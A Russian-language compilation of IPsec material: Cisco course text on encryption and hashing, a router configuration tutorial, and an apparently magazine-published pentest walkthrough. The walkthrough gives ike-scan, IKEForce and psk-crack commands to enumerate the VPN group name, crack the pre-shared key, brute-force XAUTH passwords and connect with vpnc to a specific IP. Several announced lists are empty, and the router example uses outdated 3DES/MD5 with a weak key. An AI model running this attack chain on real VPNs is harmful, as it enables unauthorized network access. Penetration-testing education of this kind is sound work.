Сети VPN с IPsec обеспечивают гибкую и масштабируемую связь. Межфилиальные соединения могут обеспечивать безопасную, высокоскоростную и надёжную удалённую связь. При помощи VPN с IPsec информация из частной сети передаётся в защищённом режиме по публичной сети. Благодаря этому можно создать виртуальную сеть, а не использовать выделенное подключение на 2 уровне, как показано на рисунке. Для обеспечения конфиденциальности данных трафик шифруется.
IPsec - это стандарт IETF, который определяет способ настройки сети VPN в защищённом режиме с помощью протокола IP.
IPsec представляет собой структуру открытых стандартов, определяющую правила для организации защищённой связи. Протокол IPsec не связан с конкретными методами шифрования и аутентификации, алгоритмами обеспечения безопасности или технологией обмена ключами. Для обеспечения безопасной связи в протоколе IPsec используются существующие алгоритмы. IPsec позволяет создавать новые, более качественные алгоритмы, для разработки которых корректировать существующие стандарты IPsec не потребуется.
IPsec функционирует на сетевом уровне, обеспечивая защиту и аутентификацию пакетов IP между взаимодействующими устройствами IPsec, которые также называются узлами (peer). IPsec позволяет защитить путь между парой шлюзов, парой компьютеров или между шлюзом и компьютером. В результате IPsec может защищать практически любой трафик приложений, так как можно реализовать защиту на уровнях с 4-го по 7-й.
Во всех реализованных решениях протокола IPsec применяется незашифрованный заголовок 3-го уровня, поэтому никаких проблем с маршрутизацией не существует. IPsec функционирует поверх любых протоколов 2-го уровня, таких как Ethernet, ATM и Frame Relay.
Ниже указаны основные особенности протокола IPsec:
На рисунке показано, что сервисы безопасности IPsec выполняют следующие важные функции:
Сокращение CIA во многих случаях позволяет вспомнить три эти функции: конфиденциальность(confidentiality), целостность (integrity), и проверка подлинности (authentication).
Конфиденциальность
Конфиденциальность трафика VPN поддерживается с помощью шифрования. Открытые (незашифрованные) данные, передаваемые через Интернет, могут быть перехвачены и прочитаны. Для сохранения приватности данных используется шифрование. Благодаря цифровому шифрованию данных они остаются нечитаемыми до тех пор, пока не будут расшифрованы авторизованным получателем.
Для обеспечения зашифрованного режима связи и отправитель, и получатель должны знать правила, используемые для преобразования исходного сообщения в закодированную форму. Правила основаны на алгоритмах и соответствующих ключах. В контексте шифрования алгоритм представляет собой математическую последовательность действий, в которой сообщение, текст, цифры или все они сочетаются со строкой цифр, называемой ключом. Выходные данные предстают в виде нечитаемой зашифрованной строки. Алгоритм шифрования также определяет способ расшифровки зашифрованного сообщения. Без правильного ключа дешифровать данные практически невозможно.
На рисунке видно, что Гейл хочет выполнить электронный перевод денежных средств через Интернет к Джереми. На локальной стороне документ объединяется с ключом и подвергается процедуре шифрования. Выходные данные представляют собой шифртекст. Затем этот шифртекст посылается через Интернет. На удалённой стороне сообщение снова объединяется с ключом и пропускается через алгоритм шифрования в обратном направлении. Выходные данные представляют собой исходный финансовый документ.
Конфиденциальность достигается шифрованием трафика при передаче через VPN. Степень безопасности зависит от длины ключа в алгоритме шифрования и сложности самого алгоритма. Если хакер попытается взломать ключ посредством атаки методом последовательного перебора, то количество вариантов для перебора будет зависеть от длины ключа. Время обработки всех возможных вариантов зависит от вычислительной мощности компьютера злоумышленника. Поэтому чем короче ключ, тем проще его взломать. Например, если для взлома 64-битового ключа относительно мощному компьютеру понадобится приблизительно один год, то для взлома 128-битового ключа тому же компьютеру может понадобиться от 10 до 19 лет.
Степень безопасности зависит от длины ключа в алгоритме шифрования. По мере увеличения длины ключа вероятность взлома шифра уменьшается. Однако, чем длиннее ключ, тем больше ресурсов процессора будет требоваться при шифровании и расшифровывании данных.
Алгоритмы DES и 3DES больше не считаются надёжными, поэтому для шифрования в протоколе IPsec рекомендуется использовать AES. Наивысший уровень безопасности для шифрования сетей VPN между устройствами Cisco с помощью протокола IPsec обеспечивается 256-битовым вариантом AES. Кроме того, с учетом взлома 512- и 768-битовых ключей Ривеста-Шамира-Эдльмана (RSA) компания Cisco рекомендует использовать 2048-битовые ключи в варианте RSA (если он применяется на этапе аутентификации IKE).
Симметричное шифрование
В алгоритмах шифрования, например AES, требуется общий секретный ключ для выполнения как шифрования, так и расшифровки. Для декодирования информации ключ должны знать оба сетевых устройства. При шифровании с помощью симметричного ключа (также называемом шифрованием с помощью секретного ключа) каждое устройство шифрует данные перед их отправкой по сети на другое устройство. При шифровании с помощью симметричного ключа необходимо знать, какие устройства общаются друг с другом, чтобы на каждом устройстве было можно настроить один и тот же ключ (см. рисунок 1).
Например, отправитель создаёт кодированное сообщение, где каждая буква меняется на букву, следующую через две буквы ниже в алфавите (то есть A становится C, В становится D и т. д.). В этом случае слово SECRET превращается в UGETGV. Отправитель уже сообщил получателю, что секретный ключ - это смещение на 2. Когда получатель получает сообщение UGETGV, его компьютер раскодирует сообщение путем обратного смещения на две буквы и получает слово SECRET. Любой другой пользователь, смотрящий на это сообщение, видит его в зашифрованном виде. Чтобы такое сообщение не выглядело абракадаброй, необходимо знать секретный ключ.
Ниже указаны особенности симметричных алгоритмов:
Каким образом шифрующее и расшифровывающее устройства могут получить информацию об общем секретном ключе? Общие секретные ключи администраторам устройств конечно можно было бы отправлять по электронной почте, по обычной или курьерской почте. Но другим, более надёжным способом является асимметричное шифрование.
Асимметричное шифрование
При асимметричном шифровании для шифрования и расшифровки используются разные ключи. Знание одного из ключей не позволяет хакеру вычислить второй ключ и декодировать информацию. Один ключ служит для зашифровывания сообщения, второй для его расшифровывания (см. рисунок 2). Выполнять операцию шифрования и расшифровки с помощью одного и того же ключа нельзя.
Одним из вариантов асимметричного шифрования является шифрование открытым ключом, где применяется сочетание секретного и открытого (публичного) ключей. Получатель предоставляет открытый ключ любому отправителю, с которым данному получателю нужно общаться. Для зашифровывания сообщения отправитель использует секретный ключ, который объединяется с открытым ключом получателя. Кроме того, отправитель должен сообщить свой открытый ключ получателю. Для расшифровки сообщения получатель будет использовать открытый ключ отправителя вместе со своим собственным секретным ключом.
Ниже указаны особенности асимметричных алгоритмов:
Для обеспечения целостности и проверки подлинности трафика сети VPN применяются алгоритмы хеширования. Целостность данных и проверка подлинности обеспечиваются хеш-кодами, которые гарантируют отсутствие искажений передаваемых сообщений неавторизованными лицами. Хеш-код, также называемый дайджестом сообщения, представляет собой число, который создаётся из строки текста. Хеш-код имеет меньший размер, чем сам текст. Он создаётся с помощью формулы таким образом, что получение такого же значения хеш-кода из другого текста крайне маловероятно.
Исходный отправитель создаёт хеш-код сообщения и отправляет его вместе с самим сообщением. Получатель анализирует сообщение и хеш-код, создаёт другой хеш-код на основе полученных сообщений и сравнивает оба хеш-кода. Если они совпадают, то получатель может быть с достаточным основанием уверен в целостности исходного сообщения.
На рисунке показано, что Гейл отправил Алексу электронный денежный перевод в размере 100 долл. США. Джереми перехватил и изменил данный перевод таким образом, чтобы показать, что он является получателем, а сумма перевода составляет 1000 долл. США. В этом случае, если использовался алгоритм целостности данных, то хеш-коды не совпадут друг с другом, и транзакция окажется недействительной.
Данные VPN передаются через Интернет общего доступа. Как показано на рисунке, существует вероятность перехвата и изменения этих данных. Для защиты от этой угрозы на компьютерах в сообщение могут добавляться хеш-коды. Если переданный хеш-код совпадает с полученным хеш-кодом, это означает, что обеспечена целостность сообщения. Однако если хеш-коды не совпадают, то сообщение было изменено.
Для проверки целостности и подлинности сообщения в сетях VPN используется код аутентификации без использования каких-либо дополнительных механизмов.
Код аутентификации сообщений на основе хешей (Hash-based Message Authentication Code, HMAC) - это механизм аутентификации сообщений с помощью функций хеширования. HMAC с обменом ключами представляет собой алгоритм целостности данных, гарантирующий целостность сообщения. HMAC имеет два параметра: вводимое сообщение и секретный ключ, известный только автору сообщения и предполагаемым получателям. Отправитель сообщения использует функцию HMAC для создания значения (кода аутентификации сообщения), формируемого путем переработки секретного ключа и вводимого сообщения. Код аутентификации сообщения отправляется вместе с сообщением. Получатель вычисляет код аутентификации сообщения в полученном сообщении с помощью того же ключа и функции HMAC, которые использовал отправитель. Затем получатель сравнивает вычисленный результат с полученным кодом аутентификации сообщения. Если оба значения совпадают, это означает, что получено правильное сообщение, а получатель может быть уверен в том, что отправитель является членом сообщества пользователей, применяющих данный общий ключ. Криптографическая стойкость алгоритма HMAC зависит от криптографической стойкости базовой функции хеширования, от размера и качества ключа, а также длины результата хеш-функции (в битах).
Существуют два наиболее распространённых алгоритма HMAC:
Примечание . В ОС Cisco IOS также поддерживаются 256-, 384- и 512-битовые варианты SHA.
В сетях IPsec VPN поддерживается функция аутентификации. Если ваши партнеры по бизнесу находятся от вас на большом расстоянии, то важно знать, с кем вы говорите по телефону, кто отправляет вам электронное сообщение или факс. Это же справедливо и для сетей VPN. Как указано на рисунке, подлинность устройства на другом конце туннеля VPN должна быть проверена, прежде чем можно будет считать, что канал связи является защищённым. Существуют два метода аутентификации собеседника:
В алгоритме IPsec для аутентификации в контексте IKE используется алгоритм RSA (криптографическая система с открытым ключом). В RSA применяется схема цифровой подписи, благодаря которой каждое устройство прикрепляет цифровую подпись к набору данных и передаёт его другому пользователю. Для создания цифрового сертификата с уникальным идентификатором, назначаемого каждому равноправному узлу для аутентификации, в алгоритме подписывания RSA используется центр сертификации (CA). Сам цифровой сертификат идентификации похож на ключ PSK, но обеспечивает гораздо более высокий уровень безопасности. Каждые инициатор и ответчик в сеансе IKE, использующие подписи RSA, отправляют собственное значение идентификатора, свой цифровой сертификат идентификации и значение подписи RSA, состоящее из нескольких значений IKE. Для шифрования всех этих данных применяется согласованный IKE способ шифрования (например AES).
Ещё одним методом аутентификации является алгоритм цифровой подписи (Digital Signature Algorithm, DSA).
Как указано выше, набор протоколов IPsec описывает способ обмена сообщениями для защиты сеансов связи, но он основан на применении существующих алгоритмов.
На рисунке 1 показаны два основных протокола IPsec:
На рис. 2 показаны компоненты настройки IPsec. Существует четыре основных компоновочных блока структуры IPsec, которые необходимо выбрать.
Благодаря сочетанию этих компоновочных блоков обеспечиваются конфиденциальность, целостность и аутентификация сетей VPN на IPsec.
Примечание . В этом разделе приводится общее описание протокола IPsec, которое позволяет понять, каким образом IPsec защищает туннели VPN. Процесс настройки сетей IPsec VPN в рамках этого курса не рассматривается.
В современном мире различные VPN-технологии используются повсеместно. Некоторые (например, PPTP) со временем признаются небезопасными и постепенно отмирают, другие (OpenVPN), наоборот, с каждым годом наращивают обороты. Но бессменным лидером и самой узнаваемой технологией для создания и поддержания защищенных частных каналов по-прежнему остается IPsec VPN. Иногда при пентесте можно обнаружить серьезно защищенную сеть с торчащим наружу лишь пятисотым UDP-портом. Все остальное может быть закрыто, пропатчено и надежно фильтроваться.
В такой ситуации может возникнуть мысль, что здесь и делать-то особо нечего. Но это не всегда так. Кроме того, широко распространена мысль, что IPsec даже в дефолтных конфигурациях неприступен и обеспечивает должный уровень безопасности. Именно такую ситуацию сегодня и посмотрим на деле. Но вначале, для того чтобы максимально эффективно бороться c IPsec, нужно разобраться, что он собой представляет и как работает. Этим и займемся!
Первый тип служит для постоянной связи различных сетевых островков, например центрального офиса со множеством разбросанных филиалов. Ну а RA VPN представляет собой сценарий, когда клиент подключается на небольшой промежуток времени, получает доступ к определенным сетевым ресурсам и после завершения работы благополучно отключается.
Нас будет интересовать именно второй вариант, так как в случае успешной атаки удается сразу же получить доступ к внутренней сети предприятия, что для пентестера достаточно серьезное достижение. IPsec, в свою очередь, позволяет реализовывать как site-to-site, так и remote access VPN. Что же это за технология и из каких компонентов она состоит?
Стоит отметить, что IPsec - это не один, а целый набор различных протоколов, которые обеспечивают прозрачную и безопасную защиту данных. Специфика IPsec состоит в том, что он реализуется на сетевом уровне, дополняя его таким образом, чтобы для последующих уровней все происходило незаметно. Основная сложность состоит в том, что в процессе установления соединения двум участникам защищенного канала необходимо согласовать довольно большое количество различных параметров. А именно - они должны аутентифицировать друг друга, сгенерировать и обменяться ключами (причем через недоверенную среду), а также договориться, с помощью каких протоколов шифровать данные.
Именно по этой причине IPsec и состоит из стека протоколов, обязанность которых лежит в том, чтобы обеспечить установление защищенного соединения, его работу и управление им. Весь процесс установления соединения включает две фазы: первая фаза применяется для того, чтобы обеспечить безопасный обмен ISAKMP-сообщений уже во второй фазе. ISAKMP (Internet Security Association and Key Management Protocol) - это протокол, который служит для согласования и обновления политик безопасности (SA) между участниками VPN-соединения. В этих политиках как раз и указано, с помощью какого протокола шифровать (AES или 3DES) и с помощью чего аутентифицировать (SHA или MD5).
Рис. 1. Cisco ASDM VPN Wizard
Что касается IKEv2, первые его наброски были сделаны в 2005 году, полностью описан он был в RFC 5996 (2010 год), и лишь в конце прошлого года он был объявлен на роль стандарта Интернет (RFC 7296). Более подробно про различия между IKEv1 и IKEv2 можно прочитать во врезке. Разобравшись с IKE, возвращаемся к фазам IPsec. В процессе первой фазы участники аутентифицируют друг друга и договариваются о параметрах установки специального соединения, предназначенного только для обмена информацией о желаемых алгоритмах шифрования и прочих деталях будущего IPsec-туннеля. Параметры этого первого туннеля (который еще называется ISAKMP-туннель) определяются политикой ISAKMP. Первым делом согласуются хеши и алгоритмы шифрования, далее идет обмен ключами Диффи-Хеллмана (DH), и лишь затем происходит выяснение, кто есть кто. То есть в последнюю очередь идет процесс аутентификации, либо по PSK-, либо по RSA-ключу. И если стороны пришли к соглашению, то устанавливается ISAKMP-туннель, по которому уже проходит вторая фаза IKE.
На второй фазе уже доверяющие друг другу участники договариваются о том, как строить основной туннель для передачи непосредственно данных. Они предлагают друг другу варианты, указанные в параметре transform-set, и, если приходят к согласию, поднимают основной туннель. Важно подчеркнуть, что после его установления вспомогательный ISAKMP-туннель никуда не девается - он используется для периодического обновления SA основного туннеля. В итоге IPsec в некоем роде устанавливает не один, а целых два туннеля.
Например, команда `crypto ipsec transform-set SET10 esp-aes` укажет роутеру, что transform-set с именем `SET10` должен работать только по протоколу ESP и c шифрованием по алгоритму AES. Забегая вперед, скажу, что здесь и далее мы будем использовать в качестве цели маршрутизаторы и файрволы компании Cisco. Собственно с ESP все более-менее понятно, его дело - шифровать и этим обеспечивать конфиденциальность, но зачем тогда нужен AH? AH обеспечивает аутентификацию данных, то есть подтверждает, что эти данные пришли именно от того, с кем мы установили связь, и не были изменены по дороге. Он обеспечивает то, что еще иногда называется anti-replay защитой. В современных сетях AH практически не используется, везде можно встретить только ESP.
Параметры (они же SA), выбираемые для шифрования информации в IPsec-туннеле, имеют время жизни, по истечении которого должны быть заменены. По умолчанию параметр lifetime IPsec SA составляет 86 400 с, или 24 ч.
В итоге участники получили шифрованный туннель с параметрами, которые их всех устраивают, и направляют туда потоки данных, подлежащие шифрованию. Периодически, в соответствии с lifetime, обновляются ключи шифрования для основного туннеля: участники вновь связываются по ISAKMP-туннелю, проходят вторую фазу и заново устанавливают SA.
Ну а все последующее шифрование происходит без изменений, как обычно. Почему же тогда этот режим по-прежнему используется? Дело в том, что он намного быстрее, примерно в два раза. Отдельный интерес для пентестера представляет тот факт, что aggressive-режим очень часто используется в RA IPsec VPN. Еще одна небольшая особенность RA IPsec VPN при использовании агрессивного режима: когда клиент обращается к серверу, он шлет ему идентификатор (имя группы). Tunnel group name (см. рис. 2) - это имя записи, которая содержит в себе набор политик для данного IPsec-подключения. Это уже одна из фич, специфичных оборудованию Cisco.
Рис. 2. Tunnel group name
XAUTH - это дополнительная аутентификация пользователей в пределах IKE-протокола. Эту аутентификацию еще иногда называют вторым фактором IPsec. Ну а MODECFG служит для передачи дополнительной информации клиенту, это может быть IP-адрес, маска, DNS-сервер и прочее. Видно, что эта фаза просто дополняет ранее рассмотренные, но полезность ее несомненна.
IKEv2 vs IKEv1
Оба протокола работают по UDP-порту с номером 500, но между собой несовместимы, не допускается ситуация, чтобы на одном конце туннеля был IKEv1, а на другом - IKEv2. Вот основные отличия второй версии от первой:В IKEv2 больше нет таких понятий, как aggressive- или main-режимы.
- В IKEv2 термин первая фаза заменен на IKE_SA_INIT (обмен двумя сообщениями, обеспечивающий согласование протоколов шифрования/хеширования и генерацию ключей DH), а вторая фаза - на IKE_AUTH (тоже два сообщения, реализующие собственно аутентификацию).
- Mode Config (то, что в IKEv1 называлось фаза 1.5) теперь описан прямо в спецификации протокола и является его неотъемлемой частью.
- В IKEv2 добавился дополнительный механизм защиты от DoS-атак. Суть его в том, что прежде, чем отвечать на каждый запрос в установлении защищенного соединения (IKE_SA_INIT) IKEv2, VPN-шлюз шлет источнику такого запроса некий cookie и ждет ответа. Если источник ответил - все в порядке, можно начинать с ним генерацию DH. Если же источник не отвечает (в случае с DoS-атакой так и происходит, эта техника напоминает TCP SYN flood), то VPN-шлюз просто забывает о нем. Без этого механизма при каждом запросе от кого угодно VPN-шлюз бы пытался сгенерировать DH-ключ (что достаточно ресурсоемкий процесс) и вскоре бы столкнулся с проблемами. В итоге за счет того, что все операции теперь требуют подтверждения от другой стороны соединения, на атакуемом устройстве нельзя создать большое количество полуоткрытых сессий.
Рис. 3. Общая схема сети
Первым делом нужно определить наличие IPsec VPN шлюза. Сделать это можно, проведя сканирование портов, но здесь есть небольшая особенность. ISAKMP использует протокол UDP, порт 500, а между тем дефолтное сканирование с помощью Nmap затрагивает только TCP-порты. И в результате будет сообщение: `All 1000 scanned ports on 37.59.0.253 are filtered`.
Создается впечатление, что все порты фильтруются и как бы открытых портов нет. Но выполнив команду
Nmap -sU --top-ports=20 37.59.0.253
Starting Nmap 6.47 (http://nmap.org) at 2015-03-21 12:29 GMT
Nmap scan report for 37.59.0.253
Host is up (0.066s latency).
PORT STATE SERVICE
500/udp open isakmp
убеждаемся в том, что это не так и перед нами действительно VPN-устройство.
Root@kali:~# ike-scan -M -A 37.59.0.253
0 returned handshake; 0 returned notify
Рис. 4. Ike-scan aggressive mode
Ключ `-A` указывает на то, что нужно использовать aggressive-режим, а `-M` говорит о том, что результаты следует выводить построчно (multiline), для более удобного чтения. Видно, что никакого результата не было получено. Причина состоит в том, что необходимо указать тот самый идентификатор, имя VPN-группы. Разумеется, утилита ike-scan позволяет задавать этот идентификатор в качестве одного из своих параметров. Но так как пока он нам неизвестен, возьмем произвольное значение, например 0000.
Root@kali:~# ike-scan -M -A --id=0000 37.59.0.253
37.59.0.253 Aggressive Mode Handshake returned
Рис. 5. Ike-scan ID
В этот раз видим, что ответ был получен (см. рис. 5) и нам было предоставлено довольно много полезной информации. Достаточно важная часть полученной информации - это transform-set. В нашем случае там указано, что «Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK».
Все эти параметры можно указывать и для утилиты ike-scan с помощью ключа `--trans`. Например `--trans=5,2,1,2` будет говорить о том, что алгоритм шифрования 3DES, хеширование HMAC-SHA, метод аутентификации PSK и второй тип группы DH (1024-bit MODP). Посмотреть таблицы соответствия значений можно по этому адресу . Добавим еще один ключ (`-P`), для того чтобы вывести непосредственно пейлоад пакета, а точнее хеш PSK.
Root@kali:~# ike-scan -M -A --id=0000 37.59.0.253 -P
Рис. 6. Ike-scan payload
Дело в том, что существует небольшая разница между ответами во время начального обмена сообщениями. Если кратко, то при использовании правильного имени группы происходит четыре попытки продолжить установление VPN-соединения плюс два зашифрованных пакета второй фазы. В то время как в случае неправильного ID в ответ прилетает всего лишь два пакета. Как видим, разница достаточно существенная, поэтому компания SpiderLabs (автор не менее интересного инструмента Responder) разработала сначала PoC, а затем и утилиту IKEForce для эксплуатации этой уязвимости.
Git clone https://github.com/SpiderLabs/ikeforce
Работает она в двух основных режимах - режиме вычисления `-e` (enumeration) и режиме брутфорса `-b` (bruteforce). До второго мы еще дойдем, когда будем смотреть атаки на второй фактор, а вот первым сейчас и займемся. Перед тем как начать непосредственно процесс определения ID, необходимо установить точное значение transform-set. Мы его уже определили ранее, поэтому будем указывать опцией `-t 5 2 1 2`. В итоге выглядеть процесс нахождения ID будет следующим образом:
Python ikeforce.py 37.59.0.253 -e -w wordlists/group.txt -t 5 2 1 2
Рис. 7. IKEForce enumeration
В результате достаточно быстро удалось получить корректное значение ID (рис. 7). Первый шаг пройден, можно двигаться дальше.
Ike-scan -M -A --id=vpn 37.59.0.253 -Pkey.psk
И теперь, когда правильное значение ID было подобрано и удалось получить корректный хеш PSK, мы можем наконец-то начать офлайн-брутфорс. Вариантов такого брутфорса достаточно много - это и классическая утилита psk-crack, и John the Ripper (с jumbo-патчем), и даже oclHashcat, который, как известно, позволяет задействовать мощь GPU. Для простоты будем использовать psk-crack, который поддерживает как прямой брутфорс, так и атаку по словарю:
Psk-crack -d /usr/share/ike-scan/psk-crack-dictionary key.psk
Рис. 8. Psk-crack
Но даже успешно восстановить PSK (см. рис. 8) - это только половина дела. На этом этапе нужно вспомнить про то, что дальше нас ждет XAUTH и второй фактор IPsec VPN.
Python ikeforce.py 37.59.0.253 -b -i vpn -k cisco123 -u admin -w wordlists/passwd.txt -t 5 2 1 2
[+]Program started in XAUTH Brute Force Mode
[+]Single user provided - brute forcing passwords for user: admin
[*]XAUTH Authentication Successful! Username: admin Password: cisco
Рис. 9. IKEForce XAUTH
При этом указываются все найденные ранее значения: ID (ключ `-i`), восстановленный PSK (ключ `-k`) и предполагаемый логин (ключ `-u`). IKEForce поддерживает как грубый перебор логина, так и перебор по списку логинов, который может быть задан параметром `-U`. На случай возможных блокировок подбора есть опция `-s`, позволяющая снизить скорость брутфорса. К слову, в комплекте с утилитой идут несколько неплохих словарей, особенно полезных для установления значения параметра ID.
IPSec gateway 37.59.0.253
IPSec ID vpn
IPSec secret cisco123
IKE Authmode psk
Xauth Username admin
Xauth password cisco
Здесь мы видим, что были использованы абсолютно все найденные на предыдущих шагах данные - значение ID, PSK, логин и пароль второго фактора. После чего само подключение происходит одной командой:
Root@kali:~# vpnc vpn
Отключение тоже достаточно простое:
Root@kali:~# vpnc-disconnect
Проверить работоспособность подключения можно, используя команду `ifconfig tun0`.
Рис. 10. VPNC
Подпишись на «Хакер»
Изначально сеть Интернет использовалась узким кругом лиц, имеющих представление о политике безопасности. Соответственно явной необходимости в защите информации не было. Безопасность организовывалась на физическом уровне путем изоляции сети от посторонних лиц. Однако со временем Интернет становится публичной площадкой и постепенно возрастает потребность в создании протоколов, которые могли бы шифровать передаваемые данные.
В 1994 году Совет по архитектуре Интернет выпустил отчет “Безопасность архитектуры Интернет”. Данный отчет посвящался в основном проблемам защиты от несанкционированного мониторинга, подмены пакетов и управлению потоками данных. Требовалась разработка некоторого стандарта, способного решить все эти проблемы. В результате были созданы стандарты протоколов, в число которых входил IPsec.
IPsec (сокр. IP Security) – группа протоколов, предназначенных для обеспечения защиты данных, передаваемых по IP-сети. Задача IPsec сводится к тому, чтобы выбрать конкретные алгоритмы и механизмы и настроить соответствующим образом устройства, участвующие в создании безопасного соединения. IPsec находит применение в организации VPN-соединений.
При создании защищенного канала участникам данного процесса необходимо произвести следующие действия:
Сам IPsec, как уже было указано ранее, состоит из нескольких протоколов, каждый из которых отвечает за конкретную стадию установления IPsec туннеля. Первым из них является IKE.
IKE (Internet Key Exchange) – протокол обмена ключами.
IKE используется на первой стадии установления соединения. К его задачам относят: аутентификация VPN-точек, организация новых IPsec соединений (через создание SA-пар), управление текущими соединениями. SA представляет из себя набор параметров защищенного соединения. При настроенном соединении для каждого протокола создается одна SA-пара: первая для протокола AH, вторая для ESP (расскажу про них дальше). Также стоит отметить, что SA является однонаправленным. Таким образом, при связи двух компьютеров будет использоваться четыре SA. IKE работает в двух фазах, при этом первая фаза может работать как в основном, так и в агрессивном режиме. Рассмотрим две фазы IKE-соединения:
Первая фаза (основной режим):
Первая фаза (агрессивный режим): в первый пакет сразу помещается вся необходимая информация для установления IKE-соединения. Получатель посылает в ответ все, что необходимо для завершения обмена, после чего первому узлу необходимо лишь подтвердить соединение.
Агрессивный режим быстрей позволяет установить IKE-соединение, но при этом он менее безопасный, потому что стороны обмениваются информацией до того как безопасное соединение установлено.
Таким образом, первая фаза служит для создания защищенного туннеля, через который будут передаваться параметры для IPSec-туннеля. Во время второй фазы строится основной IPSec-туннель.
Во время второй фазы участники защищенного соединения по очереди предлагают друг другу варианты защищенного соединения и, если приходят к согласию, строят основной IPSec-туннель. Во второй фазы происходит согласование множества параметров:
AH (Authentication Header) – протокол IPSec, предназначенный для аутентификации. По сути это обычный опциональный заголовок, располагающийся между основным заголовком IP-пакета и полем данных. Предназначение AH – обеспечение защиты от атак, связанных с несанкционированным изменением данных в IP-пакете, в частности подмены исходного адреса сетевого уровня.
ESP (Encapsulation Security Payload) – протокол IPSec, предназначенный для шифрования данных. Дословно переводится как “поле данных безопасной инкапсуляции”. Также как и AH представляет из себя опциональный заголовок, вкладываемый в IP-пакет. Основной целью ESP является обеспечение конфиденциальности данных.
Вы могли заметить, что ESP и AH имеют разные форматы в зависимости от типа используемого режима: туннельного и транспортного.
Туннельный режим применяется чаще всего для удаленных VPN-подключений. При таком режиме исходный IP-пакет полностью инкапсулируется в новый таким образом, что для наблюдателя со стороны будет видно только соединение между двумя VPN-точками. Реальные IP-адреса источника и получателя видны не будут, их можно получить только при деинкапсуляции на VPN-точке. Исходя из этого, можно считать, что туннельный режим является более защищенным.
Транспортный режим применяется, как правило, в локальной сети при защите соединения между хостами. Этот режим обеспечивает защиту данных IP-пакета (TCP, UDP, протоколы верхних уровней). Грубо говоря, транспортный режим инкапсулирует все, что находится выше сетевого уровня эталонной модели OSI, при этом не затрагивая сам IP-заголовок. Естественно в таком случае данные IP-пакета: адрес источника и получателя будут видны извне.
Теперь перейдем к практике: настроим защищенный IPSec-туннель между двумя маршрутизаторами Cisco. Схема будет состоять из трех последовательно соединенных маршрутизаторов, при этом крайние R1 и R3 представляют из себя маршрутизаторы для локальных сетей, а центральный R2 имитирует Интернет. Прежде всего необходимо настроить связность между двумя локальными подсетями. Связность обеспечивается за счет GRE-туннеля. Про GRE-туннели я писал в , также там есть конфигурация GRE-туннеля для маршрутизаторов Cisco. Чтобы понимать логику дальнейший действий настоятельно рекомендую ознакомиться с этим материалом.
Итак, основной GRE-туннель у нас “прокинут”. Он не является защищенным и поэтому поверх него мы будем настраивать IPSec. Мы работали вот с такой схемой.
По легенде у нас было два офиса с подсетями LAN1 и LAN2. Необходимо обеспечить доступ компьютера из LAN1 к серверу, находящемуся в LAN2 (например, для доступа к файлам). Так вот, основной туннель мы создали. На сетевом уровне все работает прекрасно – пинг от компа до сервера есть. Но существует одна проблема: сервер содержит файлы, которые представляет коммерческую тайну для компании. Таким образом, необходимы механизмы шифрования трафика, а также аутентификация для того, чтобы никто кроме нас не мог получить доступ к этим файлам. И вот тут в бой вступает IPSec.
Конфигурация для Router A
Создаем политику безопасности и настраиваем ее RouterA(config)#crypto isakmp policy 1 Указываем метод шифрования (симметричный блочный шифр) RouterA(config)#encryption 3des Указываем метод хеширования MD5 RouterA(config)#hash md5 Указываем метод аутентификации (с предварительным ключом) RouterA(config)#authentication pre-share Выходим из режима редактирования политики безопасности RouterA(config)#exit Ключ для аутентификации (должен совпадать для обеих точек) RouterA(config)#crypto isakmp key PASS address 33.33.33.33 Применение набора преобразований RouterA(config)#crypto ipsec transform-set LAN1 esp-3des esp-md5-hmac Указываем режим работы IPSec (туннельный режим) RouterA(cfg-crypto-trans)#mode tunnel RouterA(cfg-crypto-trans)#exit Создаем крипто-карту (детали туннелирования) RouterA(config)#crypto map MAP1 10 ipsec-isakmp Указываем Ip-адрес маршрутизатора, с которым устанавливаем VPN RouterA(config-crypto-map)#set peer 33.33.33.33 Указываем набор политик безопасности RouterA(config-crypto-map)#set transform-set LAN1 Шифровать данные, которые будут проходить через список доступа под номером 100 RouterA(config-crypto-map)#match address 100 Выходим из режима настройки крипто-карты RouterA(config-crypto-map)#exit GRE-трафик с хоста 11.11.11.11 на хост 33.33.33.33 подлежит шифрованию RouterA(config)#access-list 100 permit gre host 11.11.11.11 host 33.33.33.33 Переходим в режим настройки внешнего интерфейса RouterA(config)#interface fa 0/1 Привязка карты шифрования MAP1 к внешнему интерфейсу RouterA(config-if)#crypto map MAP1Аналогично настраивается Router B:
RouterB(config)#crypto isakmp policy 1 RouterB(config)#encryption 3des RouterB(config)#hash md5 RouterB(config)#authentication pre-share RouterB(config)#exit RouterB(config)#crypto isakmp key PASS address 11.11.11.11 RouterB(config)#crypto ipsec transform-set LAN2 esp-3des esp-md5-hmac RouterB(cfg-crypto-trans)#mode tunnel RouterB(cfg-crypto-trans)#exit RouterB(config)#crypto map MAP2 10 ipsec-isakmp RouterB(config-crypto-map)#set peer 11.11.11.11 RouterB(config-crypto-map)#set transform-set LAN2 RouterB(config-crypto-map)#match address 100 RouterB(config-crypto-map)#exit RouterB(config)#access-list 100 permit gre host 33.33.33.33 host 11.11.11.11 RouterB(config)#interface fa 0/1 RouterB(config-if)#crypto map MAP2
Подписывайтесь на нашу
0 В этой статье предлагается обзор средств IPSEC (IP Security - система защиты на уровне IP) и соответствующих протоколов IPSec, доступных в продуктах Cisco и используемых для создания виртуальных частных сетей (VPN). В данной статье мы определим, что такое IPSEC, а также какие протоколы и алгоритмы защиты лежат в основе IPSEC.
Продукты Cisco для поддержки VPN используют набор протоколов IPSec, являющийся на сегодня промышленным стандартом обеспечения широких возможностей VPN. IPSec предлагает механизм защищенной передачи данных в IP-сетях, обеспечивая конфиденци¬альность, целостность и достоверность данных, передаваемых через незащищенные сети типа Internet. IPSec обеспечивает следующие возможности VPN в сетях Cisco:
IPSec представляет собой основанный на стандартах набор протоколов и алгоритмов защиты. Технология IPSec и связанные с ней протоколы защиты соответствуют открытым стандартам, которые поддерживаются группой IETF (Internet Engineering Task Force - проблемная группа проектирования Internet) и описаны в спецификациях RFC и проектах IETF. IPSec действует на сетевом уровне, обеспечивая защиту и аутентификацию пакетов IP, пересылаемых между устройствами (сторонами) IPSec - такими как маршрутизаторы Cisco, брандмауэры PIX Firewall, клиенты и концентраторы Cisco VPN, а также многие другие продукты, поддерживающие IPSec. Средства поддержки IPSec допускают масштабирование от самых малых до очень больших сетей.
